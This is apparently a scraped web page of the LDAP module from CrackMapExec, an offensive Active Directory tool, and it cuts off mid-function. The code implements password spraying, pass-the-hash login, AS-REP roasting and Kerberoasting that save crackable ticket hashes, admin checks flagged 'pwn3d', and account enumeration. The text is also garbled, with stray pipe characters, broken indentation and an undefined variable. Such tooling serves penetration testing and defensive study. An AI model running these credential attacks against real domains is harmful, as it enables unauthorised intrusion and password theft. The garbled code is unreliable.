865 lines
42 KiB
Python
865 lines
42 KiB
Python
# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
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# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
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import requests
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import logging
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import configparser
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from binascii import b2a_hex, unhexlify, hexlify
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from cme.connection import *
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from cme.helpers.logger import highlight
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from cme.logger import CMEAdapter
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from cme.helpers.bloodhound import add_user_bh
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from cme.protocols.ldap.kerberos import KerberosAttacks
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from impacket.smbconnection import SMBConnection, SessionError
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from impacket.smb import SMB_DIALECT
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from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
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from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS
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from impacket.krb5.types import KerberosTime, Principal
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from impacket.ldap import ldap as ldap_impacket
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from impacket.krb5 import constants
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from impacket.ldap import ldapasn1 as ldapasn1_impacket
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from io import StringIO
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ldap_error_status = {
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"533":"STATUS_ACCOUNT_DISABLED",
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"701":"STATUS_ACCOUNT_EXPIRED",
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"531":"STATUS_ACCOUNT_RESTRICTION",
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"530":"STATUS_INVALID_LOGON_HOURS",
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"532":"STATUS_PASSWORD_EXPIRED",
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"773":"STATUS_PASSWORD_MUST_CHANGE",
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"775":"USER_ACCOUNT_LOCKED",
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"50":"LDAP_INSUFFICIENT_ACCESS"
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}
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class ldap(connection):
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def __init__(self, args, db, host):
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self.domain = None
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self.server_os = None
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self.os_arch = 0
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self.hash = None
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self.ldapConnection = None
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self.lmhash = ''
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self.nthash = ''
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self.baseDN = ''
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self.remote_ops = None
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self.bootkey = None
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self.output_filename = None
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self.smbv1 = None
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self.signing = False
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self.smb_share_name = smb_share_name
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self.admin_privs = False
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connection.__init__(self, args, db, host)
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@staticmethod
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def proto_args(parser, std_parser, module_parser):
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ldap_parser = parser.add_parser('ldap', help="own stuff using LDAP", parents=[std_parser, module_parser])
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ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
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ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
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ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
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ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
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ldap_parser.add_argument("--no-smb", action='store_true', help='No smb connection')
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dgroup = ldap_parser.add_mutually_exclusive_group()
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dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
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dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
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egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
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egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
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egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat')
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vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
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vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
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vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
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vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
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vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
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vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
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return parser
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def proto_logger(self):
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self.logger = CMEAdapter(extra={
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'protocol': "SMB",
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'host': self.host,
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'port': "445",
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'hostname': self.hostname
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})
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def get_os_arch(self):
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try:
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stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
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transport = DCERPCTransportFactory(stringBinding)
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transport.set_connect_timeout(5)
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dce = transport.get_dce_rpc()
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if self.args.kerberos:
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dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
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dce.connect()
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try:
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dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
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except (DCERPCException, e):
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if str(e).find('syntaxes_not_supported') >= 0:
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dce.disconnect()
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return 32
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else:
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dce.disconnect()
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return 64
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except Exception as e:
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logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
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return 0
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def enum_host_info(self):
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# smb no open, specify the domain
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if self.args.no_smb:
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self.domain = self.args.domain
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#self.logger.extra['hostname'] = self.hostname
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else:
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self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
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try:
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self.conn.login('' , '')
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except:
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#if "STATUS_ACCESS_DENIED" in e:
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pass
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self.domain = self.conn.getServerDNSDomainName()
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self.hostname = self.conn.getServerName()
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self.server_os = self.conn.getServerOS()
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self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
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self.os_arch = self.get_os_arch()
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self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
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self.output_filename = self.output_filename.replace(":", "-")
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if not self.domain:
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self.domain = self.hostname
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try:
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'''plaintext_login
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DC's seem to want us to logoff first, windows workstations sometimes reset the connection
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(go home Windows, you're drunk)
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'''
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self.conn.logoff()
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except:
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pass
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if self.args.domain:
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self.domain = self.args.domain
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if self.args.local_auth:
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self.domain = self.hostname
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#Re-connect since we logged off
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self.create_conn_obj()
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def print_host_info(self):
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if self.args.no_smb:
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self.logger.extra['protocol'] = "LDAP"
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self.logger.extra['port'] = "389"
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self.logger.info(u"Connecting to LDAP {}".format(self.hostname))
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#self.logger.info(self.endpoint)
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else:
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self.logger.extra['protocol'] = "SMB"
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self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
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' x{}'.format(self.os_arch) if self.os_arch else '',
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self.hostname,
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self.domain,
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self.signing,
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self.smbv1))
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self.logger.extra['protocol'] = "LDAP"
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#self.logger.info(self.endpoint)
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return True
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def kerberos_login(self, domain, aesKey, kdcHost):
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if self.kdcHost is not None:
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target = self.kdcHost
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else:
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target = self.domain
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self.kdcHost = self.domain
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# Create the baseDN
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self.baseDN = ''
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domainParts = self.domain.split('.')
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for i in domainParts:
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self.baseDN += 'dc=%s,' % i
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# Remove last ','
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self.baseDN = self.baseDN[:-1]
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try:
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self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
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self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
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self.aesKey, kdcHost=self.kdcHost)
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out = u'{}{}'.format('{}\\'.format(self.domain),
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self.username)
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self.logger.extra['protocol'] = "LDAP"
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self.logger.extra['port'] = "389"
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self.logger.success(out)
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except ldap_impacket.LDAPSessionError as e:
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if str(e).find('strongerAuthRequired') >= 0:
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# We need to try SSL
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self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
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self.ldapConnection.kerberosLogin(self.username, self.password, self.domain, self.lmhash, self.nthash,
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self.aesKey, kdcHost=self.kdcHost)
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self.logger.extra['protocol'] = "LDAPS"
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self.logger.extra['port'] = "636"
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self.logger.success(out)
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else:
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errorCode = str(e).split()[-2][:-1]
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self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
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self.username,
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self.password,
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ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
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color='magenta' if errorCode in ldap_error_status else 'red')
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return True
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def plaintext_login(self, domain, username, password):
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self.username = username
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self.password = password
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self.domain = domain
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if self.kdcHost is not None:
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target = self.kdcHost
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else:
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target = domain
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self.kdcHost = domain
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# Create the baseDN
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self.baseDN = ''
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domainParts = self.kdcHost.split('.')
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for i in domainParts:
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self.baseDN += 'dc=%s,' % i
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# Remove last ','
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self.baseDN = self.baseDN[:-1]
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if self.password == '' and self.args.asreproast:
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hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
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if hash_TGT:
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self.logger.highlight(u'{}'.format(hash_TGT))
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with open(self.args.asreproast, 'a+') as hash_asreproast:
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hash_asreproast.write(hash_TGT + '\n')
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return False
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try:
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self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
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self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
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self.check_if_admin()
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# Connect to LDAP
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out = u'{}{}:{} {}'.format('{}\\'.format(domain),
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username,
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password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
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highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
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self.logger.extra['protocol'] = "LDAP"
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self.logger.extra['port'] = "389"
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self.logger.success(out)
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if not self.args.local_auth:
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add_user_bh(self.username, self.domain, self.logger, self.config)
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if not self.args.continue_on_success:
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return True
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except ldap_impacket.LDAPSessionError as e:
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if str(e).find('strongerAuthRequired') >= 0:
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# We need to try SSL
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try:
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self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
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self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
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self.logger.extra['protocol'] = "LDAPS"
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self.logger.extra['port'] = "636"
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self.logger.success(out)
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except ldap_impacket.LDAPSessionError as e:
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errorCode = str(e).split()[-2][:-1]
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self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
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self.username,
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self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
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ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
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color='magenta' if errorCode in ldap_error_status else 'red')
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else:
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errorCode = str(e).split()[-2][:-1]
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self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
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self.username,
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self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
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ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
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color='magenta' if errorCode in ldap_error_status else 'red')
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return False
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except OSError as e:
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self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
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self.username,
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self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
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"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
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return False
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def hash_login(self, domain, username, ntlm_hash):
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lmhash = ''
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nthash = ''
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#This checks to see if we didn't provide the LM Hash
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if ntlm_hash.find(':') != -1:
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lmhash, nthash = ntlm_hash.split(':')
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else:
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nthash = ntlm_hash
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self.hash = ntlm_hash
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if lmhash: self.lmhash = lmhash
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if nthash: self.nthash = nthash
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self.username = username
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self.domain = domain
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if self.kdcHost is not None:
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target = self.kdcHost
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else:
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target = domain
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self.kdcHost = domain
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# Create the baseDN
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self.baseDN = ''
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domainParts = self.kdcHost.split('.')
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for i in domainParts:
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self.baseDN += 'dc=%s,' % i
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# Remove last ','
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self.baseDN = self.baseDN[:-1]
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if self.hash == '' and self.args.asreproast:
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hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
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if hash_TGT:
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self.logger.highlight(u'{}'.format(hash_TGT))
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with open(self.args.asreproast, 'a+') as hash_asreproast:
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hash_asreproast.write(hash_TGT + '\n')
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return False
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# Connect to LDAP
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try:
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self.ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % target, self.baseDN, self.kdcHost)
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self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
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self.check_if_admin()
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out = u'{}{}:{} {}'.format('{}\\'.format(domain),
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username,
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nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
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highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
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self.logger.extra['protocol'] = "LDAP"
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self.logger.extra['port'] = "389"
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self.logger.success(out)
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|
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if not self.args.local_auth:
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add_user_bh(self.username, self.domain, self.logger, self.config)
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if not self.args.continue_on_success:
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return True
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except ldap_impacket.LDAPSessionError as e:
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if str(e).find('strongerAuthRequired') >= 0:
|
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try:
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# We need to try SSL
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self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN, self.kdcHost)
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self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
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self.logger.extra['protocol'] = "LDAPS"
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self.logger.extra['port'] = "636"
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self.logger.success(out)
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except ldap_impacket.LDAPSessionError as e:
|
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errorCode = str(e).split()[-2][:-1]
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self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
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self.username,
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nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
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ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
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color='magenta' if errorCode in ldap_error_status else 'red')
|
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else:
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errorCode = str(e).split()[-2][:-1]
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self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
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self.username,
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nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
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ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
|
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color='magenta' if errorCode in ldap_error_status else 'red')
|
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return False
|
|
except OSError as e:
|
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self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
|
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self.username,
|
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nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
|
|
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller"))
|
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return False
|
|
|
|
def create_smbv1_conn(self):
|
|
try:
|
|
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
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|
self.smbv1 = True
|
|
except socket.error as e:
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|
if str(e).find('Connection reset by peer') != -1:
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logging.debug('SMBv1 might be disabled on {}'.format(self.host))
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return False
|
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except Exception as e:
|
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logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
|
|
return False
|
|
|
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return True
|
|
|
|
def create_smbv3_conn(self):
|
|
try:
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|
self.conn = SMBConnection(self.host, self.host, None, 445)
|
|
self.smbv1 = False
|
|
except socket.error:
|
|
return False
|
|
except Exception as e:
|
|
logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
|
|
return False
|
|
|
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return True
|
|
|
|
def create_conn_obj(self):
|
|
if not self.args.no_smb:
|
|
if self.create_smbv1_conn():
|
|
return True
|
|
elif self.create_smbv3_conn():
|
|
return True
|
|
return False
|
|
else:
|
|
return True
|
|
|
|
def sid_to_str(self, sid):
|
|
|
|
try:
|
|
# revision
|
|
revision = int(sid[0])
|
|
# count of sub authorities
|
|
sub_authorities = int(sid[1])
|
|
# big endian
|
|
identifier_authority = int.from_bytes(sid[2:8], byteorder='big')
|
|
# If true then it is represented in hex
|
|
if identifier_authority >= 2 ** 32:
|
|
identifier_authority = hex(identifier_authority)
|
|
|
|
# loop over the count of small endians
|
|
sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)])
|
|
objectSid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority
|
|
|
|
return objectSid
|
|
except Exception:
|
|
pass
|
|
|
|
return sid
|
|
|
|
def check_if_admin(self):
|
|
|
|
# 1. get SID of the domaine
|
|
sid_domaine = ""
|
|
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
|
|
attributes= ["objectSid"]
|
|
resp = self.search(searchFilter, attributes, sizeLimit=0)
|
|
answers = []
|
|
for attribute in resp[0][1]:
|
|
if str(attribute['type']) == 'objectSid':
|
|
sid = self.sid_to_str(attribute['vals'][0])
|
|
sid_domaine = '-'.join(sid.split('-')[:-1])
|
|
|
|
# 2. get all group cn name
|
|
searchFilter = "(|(objectSid="+sid_domaine+"-512)(objectSid="+sid_domaine+"-544)(objectSid="+sid_domaine+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
|
|
attributes= ["distinguishedName"]
|
|
resp = self.search(searchFilter, attributes, sizeLimit=0)
|
|
answers = []
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'distinguishedName':
|
|
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")"))
|
|
|
|
# 3. get memeber of these groups
|
|
searchFilter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))"
|
|
attributes= [""]
|
|
resp = self.search(searchFilter, attributes, sizeLimit=0)
|
|
answers = []
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
if item:
|
|
self.admin_privs = True
|
|
|
|
def getUnixTime(self, t):
|
|
t -= 116444736000000000
|
|
t /= 10000000
|
|
return t
|
|
|
|
def search(self, searchFilter, attributes, sizeLimit=0):
|
|
try:
|
|
logging.debug('Search Filter=%s' % searchFilter)
|
|
resp = self.ldapConnection.search(searchFilter=searchFilter,
|
|
attributes=attributes,
|
|
sizeLimit=sizeLimit)
|
|
except ldap_impacket.LDAPSearchError as e:
|
|
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
|
self.logger.error('sizeLimitExceeded exception caught, giving up and processing the data received')
|
|
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
|
# paged queries
|
|
resp = e.getAnswers()
|
|
pass
|
|
else:
|
|
self.logger.error(e)
|
|
return False
|
|
return resp
|
|
|
|
def users(self):
|
|
# Building the search filter
|
|
searchFilter = "(sAMAccountType=805306368)"
|
|
attributes= ['sAMAccountName', 'description', 'badPasswordTime', 'badPwdCount', 'pwdLastSet']
|
|
resp = self.search(searchFilter, attributes, sizeLimit=0)
|
|
if resp:
|
|
answers = []
|
|
self.logger.info('Total of records returned %d' % len(resp))
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
sAMAccountName = ''
|
|
badPasswordTime = ''
|
|
badPwdCount = 0
|
|
description = ''
|
|
pwdLastSet = ''
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'description':
|
|
description = str(attribute['vals'][0])
|
|
self.logger.highlight('{:<30} {}'.format(sAMAccountName, description))
|
|
except Exception as e:
|
|
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
return
|
|
|
|
def groups(self):
|
|
# Building the search filter
|
|
searchFilter = "(objectCategory=group)"
|
|
attributes=['name']
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
if resp:
|
|
answers = []
|
|
logging.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
name = ''
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'name':
|
|
name = str(attribute['vals'][0])
|
|
self.logger.highlight('{}'.format(name))
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
return
|
|
|
|
def asreproast(self):
|
|
if self.password == '' and self.nthash == '' and self.kerberos == False:
|
|
return False
|
|
# Building the search filter
|
|
searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
|
|
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
|
|
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
|
|
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
if resp:
|
|
answers = []
|
|
self.logger.info('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
if len(answers)>0:
|
|
for user in answers:
|
|
hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
|
|
self.logger.highlight(u'{}'.format(hash_TGT))
|
|
with open(self.args.asreproast, 'a+') as hash_asreproast:
|
|
hash_asreproast.write(hash_TGT + '\n')
|
|
return True
|
|
else:
|
|
self.logger.highlight("No entries found!")
|
|
return
|
|
self.logger.error("Error with the LDAP account used")
|
|
|
|
def kerberoasting(self):
|
|
# Building the search filter
|
|
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
|
|
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
|
attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
if resp:
|
|
answers = []
|
|
self.logger.info('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
SPNs = []
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
delegation = ''
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = str(attribute['vals'][0])
|
|
if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
|
|
delegation = 'unconstrained'
|
|
elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
|
|
delegation = 'constrained'
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'servicePrincipalName':
|
|
for spn in attribute['vals']:
|
|
SPNs.append(str(spn))
|
|
|
|
if mustCommit is True:
|
|
if int(userAccountControl) & UF_ACCOUNTDISABLE:
|
|
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
|
|
else:
|
|
for spn in SPNs:
|
|
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation])
|
|
except Exception as e:
|
|
logging.error('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
|
|
if len(answers)>0:
|
|
#users = dict( (vals[1], vals[0]) for vals in answers)
|
|
TGT = KerberosAttacks(self).getTGT_kerberoasting()
|
|
for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
|
|
try:
|
|
serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
|
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.domain,
|
|
self.kdcHost,
|
|
TGT['KDC_REP'], TGT['cipher'],
|
|
TGT['sessionKey'])
|
|
r = KerberosAttacks(self).outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, SPN)
|
|
self.logger.highlight(u'sAMAccountName: {} memberOf: {} pwdLastSet: {} lastLogon:{}'.format(sAMAccountName, memberOf, pwdLastSet, lastLogon))
|
|
self.logger.highlight(u'{}'.format(r))
|
|
with open(self.args.kerberoasting, 'a+') as hash_kerberoasting:
|
|
hash_kerberoasting.write(r + '\n')
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.error('SPN: %s - %s' % (SPN,str(e)))
|
|
else:
|
|
self.logger.highlight("No entries found!")
|
|
return
|
|
self.logger.error("Error with the LDAP account used")
|
|
|
|
def trusted_for_delegation(self):
|
|
# Building the search filter
|
|
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
|
|
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
|
|
resp = self.search(searchFilter, attributes, 0)
|
|
|
|
answers = []
|
|
logging.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
if len(answers)>0:
|
|
logging.debug(answers)
|
|
for value in answers:
|
|
self.logger.highlight(value[0])
|
|
else:
|
|
self.logger.error("No entries found!")
|
|
return
|
|
|
|
def password_not_required(self):
|
|
# Building the search filter
|
|
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=32)"
|
|
try:
|
|
logging.debug('Search Filter=%s' % searchFilter)
|
|
resp = self.ldapConnection.search(searchFilter=searchFilter,
|
|
attributes=['sAMAccountName',
|
|
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
|
|
sizeLimit=0)
|
|
except ldap_impacket.LDAPSearchError as e:
|
|
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
|
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
|
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
|
# paged queries
|
|
resp = e.getAnswers()
|
|
pass
|
|
else:
|
|
return False
|
|
answers = []
|
|
logging.debug('Total of records returned %d' % len(resp))
|
|
|
|
for item in resp:
|
|
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
|
continue
|
|
mustCommit = False
|
|
sAMAccountName = ''
|
|
memberOf = ''
|
|
pwdLastSet = ''
|
|
userAccountControl = 0
|
|
status = 'enabled'
|
|
lastLogon = 'N/A'
|
|
try:
|
|
for attribute in item['attributes']:
|
|
if str(attribute['type']) == 'sAMAccountName':
|
|
sAMAccountName = str(attribute['vals'][0])
|
|
mustCommit = True
|
|
elif str(attribute['type']) == 'userAccountControl':
|
|
if int(attribute['vals'][0]) & 2 :
|
|
status = 'disabled'
|
|
userAccountControl = "0x%x" % int(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'memberOf':
|
|
memberOf = str(attribute['vals'][0])
|
|
elif str(attribute['type']) == 'pwdLastSet':
|
|
if str(attribute['vals'][0]) == '0':
|
|
pwdLastSet = '<never>'
|
|
else:
|
|
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
elif str(attribute['type']) == 'lastLogon':
|
|
if str(attribute['vals'][0]) == '0':
|
|
lastLogon = '<never>'
|
|
else:
|
|
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
|
|
if mustCommit is True:
|
|
answers.append([sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl, status])
|
|
except Exception as e:
|
|
logging.debug("Exception:", exc_info=True)
|
|
logging.debug('Skipping item, cannot process due to error %s' % str(e))
|
|
pass
|
|
if len(answers)>0:
|
|
logging.debug(answers)
|
|
for value in answers:
|
|
self.logger.highlight("User: " + value[0] + " Status: " + value[5])
|
|
else:
